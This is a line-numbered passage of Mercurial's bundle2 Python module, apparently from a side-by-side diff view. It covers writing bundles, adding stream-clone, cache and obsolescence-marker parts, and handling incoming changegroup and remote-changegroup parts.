1685 capsblob = urlreq.unquote(remote.capable(b'bundle2'))
1682 return decodecaps(capsblob)
1686 return decodecaps(capsblob)
1683
1687
1684
1688
1685 def obsmarkersversion(caps):
1689 def obsmarkersversion(caps):
1686 """extract the list of supported obsmarkers versions from a bundle2caps dict"""
1690 """extract the list of supported obsmarkers versions from a bundle2caps dict"""
1687 obscaps = caps.get(b'obsmarkers', ())
1691 obscaps = caps.get(b'obsmarkers', ())
1688 return [int(c[1:]) for c in obscaps if c.startswith(b'V')]
1692 return [int(c[1:]) for c in obscaps if c.startswith(b'V')]
1689
1693
1690
1694
1691 def writenewbundle(
1695 def writenewbundle(
1692 ui,
1696 ui,
1693 repo,
1697 repo,
1694 source,
1698 source,
1695 filename,
1699 filename,
1696 bundletype,
1700 bundletype,
1697 outgoing,
1701 outgoing,
1698 opts,
1702 opts,
1699 vfs=None,
1703 vfs=None,
1700 compression=None,
1704 compression=None,
1701 compopts=None,
1705 compopts=None,
1702 ):
1706 ):
1703 if bundletype.startswith(b'HG10'):
1707 if bundletype.startswith(b'HG10'):
1704 cg = changegroup.makechangegroup(repo, outgoing, b'01', source)
1708 cg = changegroup.makechangegroup(repo, outgoing, b'01', source)
1705 return writebundle(
1709 return writebundle(
1706 ui,
1710 ui,
1707 cg,
1711 cg,
1708 filename,
1712 filename,
1709 bundletype,
1713 bundletype,
1710 vfs=vfs,
1714 vfs=vfs,
1711 compression=compression,
1715 compression=compression,
1712 compopts=compopts,
1716 compopts=compopts,
1713 )
1717 )
1714 elif not bundletype.startswith(b'HG20'):
1718 elif not bundletype.startswith(b'HG20'):
1715 raise error.ProgrammingError(b'unknown bundle type: %s' % bundletype)
1719 raise error.ProgrammingError(b'unknown bundle type: %s' % bundletype)
1716
1720
1717 caps = {}
1721 caps = {}
1718 if opts.get(b'obsolescence', False):
1722 if opts.get(b'obsolescence', False):
1719 caps[b'obsmarkers'] = (b'V1',)
1723 caps[b'obsmarkers'] = (b'V1',)
1720 bundle = bundle20(ui, caps)
1724 bundle = bundle20(ui, caps)
1721 bundle.setcompression(compression, compopts)
1725 bundle.setcompression(compression, compopts)
1722 _addpartsfromopts(ui, repo, bundle, source, outgoing, opts)
1726 _addpartsfromopts(ui, repo, bundle, source, outgoing, opts)
1723 chunkiter = bundle.getchunks()
1727 chunkiter = bundle.getchunks()
1724
1728
1725 return changegroup.writechunks(ui, chunkiter, filename, vfs=vfs)
1729 return changegroup.writechunks(ui, chunkiter, filename, vfs=vfs)
1726
1730
1727
1731
1728 def _addpartsfromopts(ui, repo, bundler, source, outgoing, opts):
1732 def _addpartsfromopts(ui, repo, bundler, source, outgoing, opts):
1729 # We should eventually reconcile this logic with the one behind
1733 # We should eventually reconcile this logic with the one behind
1730 # 'exchange.getbundle2partsgenerator'.
1734 # 'exchange.getbundle2partsgenerator'.
1731 #
1735 #
1732 # The type of input from 'getbundle' and 'writenewbundle' are a bit
1736 # The type of input from 'getbundle' and 'writenewbundle' are a bit
1733 # different right now. So we keep them separated for now for the sake of
1737 # different right now. So we keep them separated for now for the sake of
1734 # simplicity.
1738 # simplicity.
1735
1739
1736 # we might not always want a changegroup in such bundle, for example in
1740 # we might not always want a changegroup in such bundle, for example in
1737 # stream bundles
1741 # stream bundles
1738 if opts.get(b'changegroup', True):
1742 if opts.get(b'changegroup', True):
1739 cgversion = opts.get(b'cg.version')
1743 cgversion = opts.get(b'cg.version')
1740 if cgversion is None:
1744 if cgversion is None:
1741 cgversion = changegroup.safeversion(repo)
1745 cgversion = changegroup.safeversion(repo)
1742 cg = changegroup.makechangegroup(repo, outgoing, cgversion, source)
1746 cg = changegroup.makechangegroup(repo, outgoing, cgversion, source)
1743 part = bundler.newpart(b'changegroup', data=cg.getchunks())
1747 part = bundler.newpart(b'changegroup', data=cg.getchunks())
1744 part.addparam(b'version', cg.version)
1748 part.addparam(b'version', cg.version)
1745 if b'clcount' in cg.extras:
1749 if b'clcount' in cg.extras:
1746 part.addparam(
1750 part.addparam(
1747 b'nbchanges', b'%d' % cg.extras[b'clcount'], mandatory=False
1751 b'nbchanges', b'%d' % cg.extras[b'clcount'], mandatory=False
1748 )
1752 )
1749 if opts.get(b'phases') and repo.revs(
1753 if opts.get(b'phases') and repo.revs(
1750 b'%ln and secret()', outgoing.ancestorsof
1754 b'%ln and secret()', outgoing.ancestorsof
1751 ):
1755 ):
1752 part.addparam(
1756 part.addparam(
1753 b'targetphase', b'%d' % phases.secret, mandatory=False
1757 b'targetphase', b'%d' % phases.secret, mandatory=False
1754 )
1758 )
1755 if repository.REPO_FEATURE_SIDE_DATA in repo.features:
1759 if repository.REPO_FEATURE_SIDE_DATA in repo.features:
1756 part.addparam(b'exp-sidedata', b'1')
1760 part.addparam(b'exp-sidedata', b'1')
1757
1761
1758 if opts.get(b'streamv2', False):
1762 if opts.get(b'streamv2', False):
1759 addpartbundlestream2(bundler, repo, stream=True)
1763 addpartbundlestream2(bundler, repo, stream=True)
1760
1764
1761 if opts.get(b'tagsfnodescache', True):
1765 if opts.get(b'tagsfnodescache', True):
1762 addparttagsfnodescache(repo, bundler, outgoing)
1766 addparttagsfnodescache(repo, bundler, outgoing)
1763
1767
1764 if opts.get(b'revbranchcache', True):
1768 if opts.get(b'revbranchcache', True):
1765 addpartrevbranchcache(repo, bundler, outgoing)
1769 addpartrevbranchcache(repo, bundler, outgoing)
1766
1770
1767 if opts.get(b'obsolescence', False):
1771 if opts.get(b'obsolescence', False):
1768 obsmarkers = repo.obsstore.relevantmarkers(outgoing.missing)
1772 obsmarkers = repo.obsstore.relevantmarkers(outgoing.missing)
1769 buildobsmarkerspart(
1773 buildobsmarkerspart(
1770 bundler,
1774 bundler,
1771 obsmarkers,
1775 obsmarkers,
1772 mandatory=opts.get(b'obsolescence-mandatory', True),
1776 mandatory=opts.get(b'obsolescence-mandatory', True),
1773 )
1777 )
1774
1778
1775 if opts.get(b'phases', False):
1779 if opts.get(b'phases', False):
1776 headsbyphase = phases.subsetphaseheads(repo, outgoing.missing)
1780 headsbyphase = phases.subsetphaseheads(repo, outgoing.missing)
1777 phasedata = phases.binaryencode(headsbyphase)
1781 phasedata = phases.binaryencode(headsbyphase)
1778 bundler.newpart(b'phase-heads', data=phasedata)
1782 bundler.newpart(b'phase-heads', data=phasedata)
1779
1783
1780
1784
1781 def addparttagsfnodescache(repo, bundler, outgoing):
1785 def addparttagsfnodescache(repo, bundler, outgoing):
1782 # we include the tags fnode cache for the bundle changeset
1786 # we include the tags fnode cache for the bundle changeset
1783 # (as an optional parts)
1787 # (as an optional parts)
1784 cache = tags.hgtagsfnodescache(repo.unfiltered())
1788 cache = tags.hgtagsfnodescache(repo.unfiltered())
1785 chunks = []
1789 chunks = []
1786
1790
1787 # .hgtags fnodes are only relevant for head changesets. While we could
1791 # .hgtags fnodes are only relevant for head changesets. While we could
1788 # transfer values for all known nodes, there will likely be little to
1792 # transfer values for all known nodes, there will likely be little to
1789 # no benefit.
1793 # no benefit.
1790 #
1794 #
1791 # We don't bother using a generator to produce output data because
1795 # We don't bother using a generator to produce output data because
1792 # a) we only have 40 bytes per head and even esoteric numbers of heads
1796 # a) we only have 40 bytes per head and even esoteric numbers of heads
1793 # consume little memory (1M heads is 40MB) b) we don't want to send the
1797 # consume little memory (1M heads is 40MB) b) we don't want to send the
1794 # part if we don't have entries and knowing if we have entries requires
1798 # part if we don't have entries and knowing if we have entries requires
1795 # cache lookups.
1799 # cache lookups.
1796 for node in outgoing.ancestorsof:
1800 for node in outgoing.ancestorsof:
1797 # Don't compute missing, as this may slow down serving.
1801 # Don't compute missing, as this may slow down serving.
1798 fnode = cache.getfnode(node, computemissing=False)
1802 fnode = cache.getfnode(node, computemissing=False)
1799 if fnode:
1803 if fnode:
1800 chunks.extend([node, fnode])
1804 chunks.extend([node, fnode])
1801
1805
1802 if chunks:
1806 if chunks:
1803 bundler.newpart(b'hgtagsfnodes', data=b''.join(chunks))
1807 bundler.newpart(b'hgtagsfnodes', data=b''.join(chunks))
1804
1808
1805
1809
1806 def addpartrevbranchcache(repo, bundler, outgoing):
1810 def addpartrevbranchcache(repo, bundler, outgoing):
1807 # we include the rev branch cache for the bundle changeset
1811 # we include the rev branch cache for the bundle changeset
1808 # (as an optional parts)
1812 # (as an optional parts)
1809 cache = repo.revbranchcache()
1813 cache = repo.revbranchcache()
1810 cl = repo.unfiltered().changelog
1814 cl = repo.unfiltered().changelog
1811 branchesdata = collections.defaultdict(lambda: (set(), set()))
1815 branchesdata = collections.defaultdict(lambda: (set(), set()))
1812 for node in outgoing.missing:
1816 for node in outgoing.missing:
1813 branch, close = cache.branchinfo(cl.rev(node))
1817 branch, close = cache.branchinfo(cl.rev(node))
1814 branchesdata[branch][close].add(node)
1818 branchesdata[branch][close].add(node)
1815
1819
1816 def generate():
1820 def generate():
1817 for branch, (nodes, closed) in sorted(branchesdata.items()):
1821 for branch, (nodes, closed) in sorted(branchesdata.items()):
1818 utf8branch = encoding.fromlocal(branch)
1822 utf8branch = encoding.fromlocal(branch)
1819 yield rbcstruct.pack(len(utf8branch), len(nodes), len(closed))
1823 yield rbcstruct.pack(len(utf8branch), len(nodes), len(closed))
1820 yield utf8branch
1824 yield utf8branch
1821 for n in sorted(nodes):
1825 for n in sorted(nodes):
1822 yield n
1826 yield n
1823 for n in sorted(closed):
1827 for n in sorted(closed):
1824 yield n
1828 yield n
1825
1829
1826 bundler.newpart(b'cache:rev-branch-cache', data=generate(), mandatory=False)
1830 bundler.newpart(b'cache:rev-branch-cache', data=generate(), mandatory=False)
1827
1831
1828
1832
1829 def _formatrequirementsspec(requirements):
1833 def _formatrequirementsspec(requirements):
1830 requirements = [req for req in requirements if req != b"shared"]
1834 requirements = [req for req in requirements if req != b"shared"]
1831 return urlreq.quote(b','.join(sorted(requirements)))
1835 return urlreq.quote(b','.join(sorted(requirements)))
1832
1836
1833
1837
1834 def _formatrequirementsparams(requirements):
1838 def _formatrequirementsparams(requirements):
1835 requirements = _formatrequirementsspec(requirements)
1839 requirements = _formatrequirementsspec(requirements)
1836 params = b"%s%s" % (urlreq.quote(b"requirements="), requirements)
1840 params = b"%s%s" % (urlreq.quote(b"requirements="), requirements)
1837 return params
1841 return params
1838
1842
1839
1843
1840 def format_remote_wanted_sidedata(repo):
1844 def format_remote_wanted_sidedata(repo):
1841 """Formats a repo's wanted sidedata categories into a bytestring for
1845 """Formats a repo's wanted sidedata categories into a bytestring for
1842 capabilities exchange."""
1846 capabilities exchange."""
1843 wanted = b""
1847 wanted = b""
1844 if repo._wanted_sidedata:
1848 if repo._wanted_sidedata:
1845 wanted = b','.join(
1849 wanted = b','.join(
1846 pycompat.bytestr(c) for c in sorted(repo._wanted_sidedata)
1850 pycompat.bytestr(c) for c in sorted(repo._wanted_sidedata)
1847 )
1851 )
1848 return wanted
1852 return wanted
1849
1853
1850
1854
1851 def read_remote_wanted_sidedata(remote):
1855 def read_remote_wanted_sidedata(remote):
1852 sidedata_categories = remote.capable(b'exp-wanted-sidedata')
1856 sidedata_categories = remote.capable(b'exp-wanted-sidedata')
1853 return read_wanted_sidedata(sidedata_categories)
1857 return read_wanted_sidedata(sidedata_categories)
1854
1858
1855
1859
1856 def read_wanted_sidedata(formatted):
1860 def read_wanted_sidedata(formatted):
1857 if formatted:
1861 if formatted:
1858 return set(formatted.split(b','))
1862 return set(formatted.split(b','))
1859 return set()
1863 return set()
1860
1864
1861
1865
1862 def addpartbundlestream2(bundler, repo, **kwargs):
1866 def addpartbundlestream2(bundler, repo, **kwargs):
1863 if not kwargs.get('stream', False):
1867 if not kwargs.get('stream', False):
1864 return
1868 return
1865
1869
1866 if not streamclone.allowservergeneration(repo):
1870 if not streamclone.allowservergeneration(repo):
1867 raise error.Abort(
1871 raise error.Abort(
1868 _(
1872 _(
1869 b'stream data requested but server does not allow '
1873 b'stream data requested but server does not allow '
1870 b'this feature'
1874 b'this feature'
1871 ),
1875 ),
1872 hint=_(
1876 hint=_(
1873 b'well-behaved clients should not be '
1877 b'well-behaved clients should not be '
1874 b'requesting stream data from servers not '
1878 b'requesting stream data from servers not '
1875 b'advertising it; the client may be buggy'
1879 b'advertising it; the client may be buggy'
1876 ),
1880 ),
1877 )
1881 )
1878
1882
1879 # Stream clones don't compress well. And compression undermines a
1883 # Stream clones don't compress well. And compression undermines a
1880 # goal of stream clones, which is to be fast. Communicate the desire
1884 # goal of stream clones, which is to be fast. Communicate the desire
1881 # to avoid compression to consumers of the bundle.
1885 # to avoid compression to consumers of the bundle.
1882 bundler.prefercompressed = False
1886 bundler.prefercompressed = False
1883
1887
1884 # get the includes and excludes
1888 # get the includes and excludes
1885 includepats = kwargs.get('includepats')
1889 includepats = kwargs.get('includepats')
1886 excludepats = kwargs.get('excludepats')
1890 excludepats = kwargs.get('excludepats')
1887
1891
1888 narrowstream = repo.ui.configbool(
1892 narrowstream = repo.ui.configbool(
1889 b'experimental', b'server.stream-narrow-clones'
1893 b'experimental', b'server.stream-narrow-clones'
1890 )
1894 )
1891
1895
1892 if (includepats or excludepats) and not narrowstream:
1896 if (includepats or excludepats) and not narrowstream:
1893 raise error.Abort(_(b'server does not support narrow stream clones'))
1897 raise error.Abort(_(b'server does not support narrow stream clones'))
1894
1898
1895 includeobsmarkers = False
1899 includeobsmarkers = False
1896 if repo.obsstore:
1900 if repo.obsstore:
1897 remoteversions = obsmarkersversion(bundler.capabilities)
1901 remoteversions = obsmarkersversion(bundler.capabilities)
1898 if not remoteversions:
1902 if not remoteversions:
1899 raise error.Abort(
1903 raise error.Abort(
1900 _(
1904 _(
1901 b'server has obsolescence markers, but client '
1905 b'server has obsolescence markers, but client '
1902 b'cannot receive them via stream clone'
1906 b'cannot receive them via stream clone'
1903 )
1907 )
1904 )
1908 )
1905 elif repo.obsstore._version in remoteversions:
1909 elif repo.obsstore._version in remoteversions:
1906 includeobsmarkers = True
1910 includeobsmarkers = True
1907
1911
1908 filecount, bytecount, it = streamclone.generatev2(
1912 filecount, bytecount, it = streamclone.generatev2(
1909 repo, includepats, excludepats, includeobsmarkers
1913 repo, includepats, excludepats, includeobsmarkers
1910 )
1914 )
1911 requirements = streamclone.streamed_requirements(repo)
1915 requirements = streamclone.streamed_requirements(repo)
1912 requirements = _formatrequirementsspec(requirements)
1916 requirements = _formatrequirementsspec(requirements)
1913 part = bundler.newpart(b'stream2', data=it)
1917 part = bundler.newpart(b'stream2', data=it)
1914 part.addparam(b'bytecount', b'%d' % bytecount, mandatory=True)
1918 part.addparam(b'bytecount', b'%d' % bytecount, mandatory=True)
1915 part.addparam(b'filecount', b'%d' % filecount, mandatory=True)
1919 part.addparam(b'filecount', b'%d' % filecount, mandatory=True)
1916 part.addparam(b'requirements', requirements, mandatory=True)
1920 part.addparam(b'requirements', requirements, mandatory=True)
1917
1921
1918
1922
1919 def buildobsmarkerspart(bundler, markers, mandatory=True):
1923 def buildobsmarkerspart(bundler, markers, mandatory=True):
1920 """add an obsmarker part to the bundler with <markers>
1924 """add an obsmarker part to the bundler with <markers>
1921
1925
1922 No part is created if markers is empty.
1926 No part is created if markers is empty.
1923 Raises ValueError if the bundler doesn't support any known obsmarker format.
1927 Raises ValueError if the bundler doesn't support any known obsmarker format.
1924 """
1928 """
1925 if not markers:
1929 if not markers:
1926 return None
1930 return None
1927
1931
1928 remoteversions = obsmarkersversion(bundler.capabilities)
1932 remoteversions = obsmarkersversion(bundler.capabilities)
1929 version = obsolete.commonversion(remoteversions)
1933 version = obsolete.commonversion(remoteversions)
1930 if version is None:
1934 if version is None:
1931 raise ValueError(b'bundler does not support common obsmarker format')
1935 raise ValueError(b'bundler does not support common obsmarker format')
1932 stream = obsolete.encodemarkers(markers, True, version=version)
1936 stream = obsolete.encodemarkers(markers, True, version=version)
1933 return bundler.newpart(b'obsmarkers', data=stream, mandatory=mandatory)
1937 return bundler.newpart(b'obsmarkers', data=stream, mandatory=mandatory)
1934
1938
1935
1939
1936 def writebundle(
1940 def writebundle(
1937 ui, cg, filename, bundletype, vfs=None, compression=None, compopts=None
1941 ui, cg, filename, bundletype, vfs=None, compression=None, compopts=None
1938 ):
1942 ):
1939 """Write a bundle file and return its filename.
1943 """Write a bundle file and return its filename.
1940
1944
1941 Existing files will not be overwritten.
1945 Existing files will not be overwritten.
1942 If no filename is specified, a temporary file is created.
1946 If no filename is specified, a temporary file is created.
1943 bz2 compression can be turned off.
1947 bz2 compression can be turned off.
1944 The bundle file will be deleted in case of errors.
1948 The bundle file will be deleted in case of errors.
1945 """
1949 """
1946
1950
1947 if bundletype == b"HG20":
1951 if bundletype == b"HG20":
1948 bundle = bundle20(ui)
1952 bundle = bundle20(ui)
1949 bundle.setcompression(compression, compopts)
1953 bundle.setcompression(compression, compopts)
1950 part = bundle.newpart(b'changegroup', data=cg.getchunks())
1954 part = bundle.newpart(b'changegroup', data=cg.getchunks())
1951 part.addparam(b'version', cg.version)
1955 part.addparam(b'version', cg.version)
1952 if b'clcount' in cg.extras:
1956 if b'clcount' in cg.extras:
1953 part.addparam(
1957 part.addparam(
1954 b'nbchanges', b'%d' % cg.extras[b'clcount'], mandatory=False
1958 b'nbchanges', b'%d' % cg.extras[b'clcount'], mandatory=False
1955 )
1959 )
1956 chunkiter = bundle.getchunks()
1960 chunkiter = bundle.getchunks()
1957 else:
1961 else:
1958 # compression argument is only for the bundle2 case
1962 # compression argument is only for the bundle2 case
1959 assert compression is None
1963 assert compression is None
1960 if cg.version != b'01':
1964 if cg.version != b'01':
1961 raise error.Abort(
1965 raise error.Abort(
1962 _(b'old bundle types only supports v1 changegroups')
1966 _(b'old bundle types only supports v1 changegroups')
1963 )
1967 )
1964
1968
1965 # HG20 is the case without 2 values to unpack, but is handled above.
1969 # HG20 is the case without 2 values to unpack, but is handled above.
1966 # pytype: disable=bad-unpacking
1970 # pytype: disable=bad-unpacking
1967 header, comp = bundletypes[bundletype]
1971 header, comp = bundletypes[bundletype]
1968 # pytype: enable=bad-unpacking
1972 # pytype: enable=bad-unpacking
1969
1973
1970 if comp not in util.compengines.supportedbundletypes:
1974 if comp not in util.compengines.supportedbundletypes:
1971 raise error.Abort(_(b'unknown stream compression type: %s') % comp)
1975 raise error.Abort(_(b'unknown stream compression type: %s') % comp)
1972 compengine = util.compengines.forbundletype(comp)
1976 compengine = util.compengines.forbundletype(comp)
1973
1977
1974 def chunkiter():
1978 def chunkiter():
1975 yield header
1979 yield header
1976 for chunk in compengine.compressstream(cg.getchunks(), compopts):
1980 for chunk in compengine.compressstream(cg.getchunks(), compopts):
1977 yield chunk
1981 yield chunk
1978
1982
1979 chunkiter = chunkiter()
1983 chunkiter = chunkiter()
1980
1984
1981 # parse the changegroup data, otherwise we will block
1985 # parse the changegroup data, otherwise we will block
1982 # in case of sshrepo because we don't know the end of the stream
1986 # in case of sshrepo because we don't know the end of the stream
1983 return changegroup.writechunks(ui, chunkiter, filename, vfs=vfs)
1987 return changegroup.writechunks(ui, chunkiter, filename, vfs=vfs)
1984
1988
1985
1989
1986 def combinechangegroupresults(op):
1990 def combinechangegroupresults(op):
1987 """logic to combine 0 or more addchangegroup results into one"""
1991 """logic to combine 0 or more addchangegroup results into one"""
1988 results = [r.get(b'return', 0) for r in op.records[b'changegroup']]
1992 results = [r.get(b'return', 0) for r in op.records[b'changegroup']]
1989 changedheads = 0
1993 changedheads = 0
1990 result = 1
1994 result = 1
1991 for ret in results:
1995 for ret in results:
1992 # If any changegroup result is 0, return 0
1996 # If any changegroup result is 0, return 0
1993 if ret == 0:
1997 if ret == 0:
1994 result = 0
1998 result = 0
1995 break
1999 break
1996 if ret < -1:
2000 if ret < -1:
1997 changedheads += ret + 1
2001 changedheads += ret + 1
1998 elif ret > 1:
2002 elif ret > 1:
1999 changedheads += ret - 1
2003 changedheads += ret - 1
2000 if changedheads > 0:
2004 if changedheads > 0:
2001 result = 1 + changedheads
2005 result = 1 + changedheads
2002 elif changedheads < 0:
2006 elif changedheads < 0:
2003 result = -1 + changedheads
2007 result = -1 + changedheads
2004 return result
2008 return result
2005
2009
2006
2010
2007 @parthandler(
2011 @parthandler(
2008 b'changegroup',
2012 b'changegroup',
2009 (
2013 (
2010 b'version',
2014 b'version',
2011 b'nbchanges',
2015 b'nbchanges',
2012 b'exp-sidedata',
2016 b'exp-sidedata',
2013 b'exp-wanted-sidedata',
2017 b'exp-wanted-sidedata',
2014 b'treemanifest',
2018 b'treemanifest',
2015 b'targetphase',
2019 b'targetphase',
2016 ),
2020 ),
2017 )
2021 )
2018 def handlechangegroup(op, inpart):
2022 def handlechangegroup(op, inpart):
2019 """apply a changegroup part on the repo"""
2023 """apply a changegroup part on the repo"""
2020 from . import localrepo
2024 from . import localrepo
2021
2025
2022 tr = op.gettransaction()
2026 tr = op.gettransaction()
2023 unpackerversion = inpart.params.get(b'version', b'01')
2027 unpackerversion = inpart.params.get(b'version', b'01')
2024 # We should raise an appropriate exception here
2028 # We should raise an appropriate exception here
2025 cg = changegroup.getunbundler(unpackerversion, inpart, None)
2029 cg = changegroup.getunbundler(unpackerversion, inpart, None)
2026 # the source and url passed here are overwritten by the one contained in
2030 # the source and url passed here are overwritten by the one contained in
2027 # the transaction.hookargs argument. So 'bundle2' is a placeholder
2031 # the transaction.hookargs argument. So 'bundle2' is a placeholder
2028 nbchangesets = None
2032 nbchangesets = None
2029 if b'nbchanges' in inpart.params:
2033 if b'nbchanges' in inpart.params:
2030 nbchangesets = int(inpart.params.get(b'nbchanges'))
2034 nbchangesets = int(inpart.params.get(b'nbchanges'))
2031 if b'treemanifest' in inpart.params and not scmutil.istreemanifest(op.repo):
2035 if b'treemanifest' in inpart.params and not scmutil.istreemanifest(op.repo):
2032 if len(op.repo.changelog) != 0:
2036 if len(op.repo.changelog) != 0:
2033 raise error.Abort(
2037 raise error.Abort(
2034 _(
2038 _(
2035 b"bundle contains tree manifests, but local repo is "
2039 b"bundle contains tree manifests, but local repo is "
2036 b"non-empty and does not use tree manifests"
2040 b"non-empty and does not use tree manifests"
2037 )
2041 )
2038 )
2042 )
2039 op.repo.requirements.add(requirements.TREEMANIFEST_REQUIREMENT)
2043 op.repo.requirements.add(requirements.TREEMANIFEST_REQUIREMENT)
2040 op.repo.svfs.options = localrepo.resolvestorevfsoptions(
2044 op.repo.svfs.options = localrepo.resolvestorevfsoptions(
2041 op.repo.ui, op.repo.requirements, op.repo.features
2045 op.repo.ui, op.repo.requirements, op.repo.features
2042 )
2046 )
2043 scmutil.writereporequirements(op.repo)
2047 scmutil.writereporequirements(op.repo)
2044
2048
2045 extrakwargs = {}
2049 extrakwargs = {}
2046 targetphase = inpart.params.get(b'targetphase')
2050 targetphase = inpart.params.get(b'targetphase')
2047 if targetphase is not None:
2051 if targetphase is not None:
2048 extrakwargs['targetphase'] = int(targetphase)
2052 extrakwargs['targetphase'] = int(targetphase)
2049
2053
2050 remote_sidedata = inpart.params.get(b'exp-wanted-sidedata')
2054 remote_sidedata = inpart.params.get(b'exp-wanted-sidedata')
2051 extrakwargs['sidedata_categories'] = read_wanted_sidedata(remote_sidedata)
2055 extrakwargs['sidedata_categories'] = read_wanted_sidedata(remote_sidedata)
2052
2056
2053 ret = _processchangegroup(
2057 ret = _processchangegroup(
2054 op,
2058 op,
2055 cg,
2059 cg,
2056 tr,
2060 tr,
2057 op.source,
2061 op.source,
2058 b'bundle2',
2062 b'bundle2',
2059 expectedtotal=nbchangesets,
2063 expectedtotal=nbchangesets,
2060 **extrakwargs
2064 **extrakwargs
2061 )
2065 )
2062 if op.reply is not None:
2066 if op.reply is not None:
2063 # This is definitely not the final form of this
2067 # This is definitely not the final form of this
2064 # return. But one need to start somewhere.
2068 # return. But one need to start somewhere.
2065 part = op.reply.newpart(b'reply:changegroup', mandatory=False)
2069 part = op.reply.newpart(b'reply:changegroup', mandatory=False)
2066 part.addparam(
2070 part.addparam(
2067 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2071 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2068 )
2072 )
2069 part.addparam(b'return', b'%i' % ret, mandatory=False)
2073 part.addparam(b'return', b'%i' % ret, mandatory=False)
2070 assert not inpart.read()
2074 assert not inpart.read()
2071
2075
2072
2076
2073 _remotechangegroupparams = tuple(
2077 _remotechangegroupparams = tuple(
2074 [b'url', b'size', b'digests']
2078 [b'url', b'size', b'digests']
2075 + [b'digest:%s' % k for k in util.DIGESTS.keys()]
2079 + [b'digest:%s' % k for k in util.DIGESTS.keys()]
2076 )
2080 )
2077
2081
2078
2082
2079 @parthandler(b'remote-changegroup', _remotechangegroupparams)
2083 @parthandler(b'remote-changegroup', _remotechangegroupparams)
2080 def handleremotechangegroup(op, inpart):
2084 def handleremotechangegroup(op, inpart):
2081 """apply a bundle10 on the repo, given an url and validation information
2085 """apply a bundle10 on the repo, given an url and validation information
2082
2086
2083 All the information about the remote bundle to import are given as
2087 All the information about the remote bundle to import are given as
2084 parameters. The parameters include:
2088 parameters. The parameters include:
2085 - url: the url to the bundle10.
2089 - url: the url to the bundle10.
2086 - size: the bundle10 file size. It is used to validate what was
2090 - size: the bundle10 file size. It is used to validate what was
2087 retrieved by the client matches the server knowledge about the bundle.
2091 retrieved by the client matches the server knowledge about the bundle.
2088 - digests: a space separated list of the digest types provided as
2092 - digests: a space separated list of the digest types provided as
2089 parameters.
2093 parameters.
2090 - digest:<digest-type>: the hexadecimal representation of the digest with
2094 - digest:<digest-type>: the hexadecimal representation of the digest with
2091 that name. Like the size, it is used to validate what was retrieved by
2095 that name. Like the size, it is used to validate what was retrieved by
2092 the client matches what the server knows about the bundle.
2096 the client matches what the server knows about the bundle.
2093
2097
2094 When multiple digest types are given, all of them are checked.
2098 When multiple digest types are given, all of them are checked.
2095 """
2099 """
2096 try:
2100 try:
2097 raw_url = inpart.params[b'url']
2101 raw_url = inpart.params[b'url']
2098 except KeyError:
2102 except KeyError:
2099 raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url')
2103 raise error.Abort(_(b'remote-changegroup: missing "%s" param') % b'url')
2100 parsed_url = urlutil.url(raw_url)
2104 parsed_url = urlutil.url(raw_url)
2101 if parsed_url.scheme not in capabilities[b'remote-changegroup']:
2105 if parsed_url.scheme not in capabilities[b'remote-changegroup']:
2102 raise error.Abort(
2106 raise error.Abort(
2103 _(b'remote-changegroup does not support %s urls')
2107 _(b'remote-changegroup does not support %s urls')
2104 % parsed_url.scheme
2108 % parsed_url.scheme
2105 )
2109 )
2106
2110
2107 try:
2111 try:
2108 size = int(inpart.params[b'size'])
2112 size = int(inpart.params[b'size'])
2109 except ValueError:
2113 except ValueError:
2110 raise error.Abort(
2114 raise error.Abort(
2111 _(b'remote-changegroup: invalid value for param "%s"') % b'size'
2115 _(b'remote-changegroup: invalid value for param "%s"') % b'size'
2112 )
2116 )
2113 except KeyError:
2117 except KeyError:
2114 raise error.Abort(
2118 raise error.Abort(
2115 _(b'remote-changegroup: missing "%s" param') % b'size'
2119 _(b'remote-changegroup: missing "%s" param') % b'size'
2116 )
2120 )
2117
2121
2118 digests = {}
2122 digests = {}
2119 for typ in inpart.params.get(b'digests', b'').split():
2123 for typ in inpart.params.get(b'digests', b'').split():
2120 param = b'digest:%s' % typ
2124 param = b'digest:%s' % typ
2121 try:
2125 try:
2122 value = inpart.params[param]
2126 value = inpart.params[param]
2123 except KeyError:
2127 except KeyError:
2124 raise error.Abort(
2128 raise error.Abort(
2125 _(b'remote-changegroup: missing "%s" param') % param
2129 _(b'remote-changegroup: missing "%s" param') % param
2126 )
2130 )
2127 digests[typ] = value
2131 digests[typ] = value
2128
2132
2129 real_part = util.digestchecker(url.open(op.ui, raw_url), size, digests)
2133 real_part = util.digestchecker(url.open(op.ui, raw_url), size, digests)
2130
2134
2131 tr = op.gettransaction()
2135 tr = op.gettransaction()
2132 from . import exchange
2136 from . import exchange
2133
2137
2134 cg = exchange.readbundle(op.repo.ui, real_part, raw_url)
2138 cg = exchange.readbundle(op.repo.ui, real_part, raw_url)
2135 if not isinstance(cg, changegroup.cg1unpacker):
2139 if not isinstance(cg, changegroup.cg1unpacker):
2136 raise error.Abort(
2140 raise error.Abort(
2137 _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url)
2141 _(b'%s: not a bundle version 1.0') % urlutil.hidepassword(raw_url)
2138 )
2142 )
2139 ret = _processchangegroup(op, cg, tr, op.source, b'bundle2')
2143 ret = _processchangegroup(op, cg, tr, op.source, b'bundle2')
2140 if op.reply is not None:
2144 if op.reply is not None:
2141 # This is definitely not the final form of this
2145 # This is definitely not the final form of this
2142 # return. But one need to start somewhere.
2146 # return. But one need to start somewhere.
2143 part = op.reply.newpart(b'reply:changegroup')
2147 part = op.reply.newpart(b'reply:changegroup')
2144 part.addparam(
2148 part.addparam(
2145 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2149 b'in-reply-to', pycompat.bytestr(inpart.id), mandatory=False
2146 )
2150 )
2147 part.addparam(b'return', b'%i' % ret, mandatory=False)
2151 part.addparam(b'return', b'%i' % ret, mandatory=False)
2148 try:
2152 try:
2149 real_part.validate()
2153 real_part.validate()
2150 except error.Abort as e:
2154 except error.Abort as e:
2151 raise error.Abort(
2155 raise error.Abort(
2152 _(b'bundle at %s is corrupted:\n%s')
2156 _(b'bundle at %s is corrupted:\n%s')
2153 % (urlutil.hidepassword(raw_url), e.message)
2157 % (urlutil.hidepassword(raw_url), e.message)
2154 )
2158 )
2155 assert not inpart.read()
2159 assert not inpart.read()
2156
2160
2157
2161
2158 @parthandler(b'reply:changegroup', (b'return', b'in-reply-to'))
2162 @parthandler(b'reply:changegroup', (b'return', b'in-reply-to'))
2159 def handlereplychangegroup(op, inpart):
2163 def handlereplychangegroup(op, inpart):
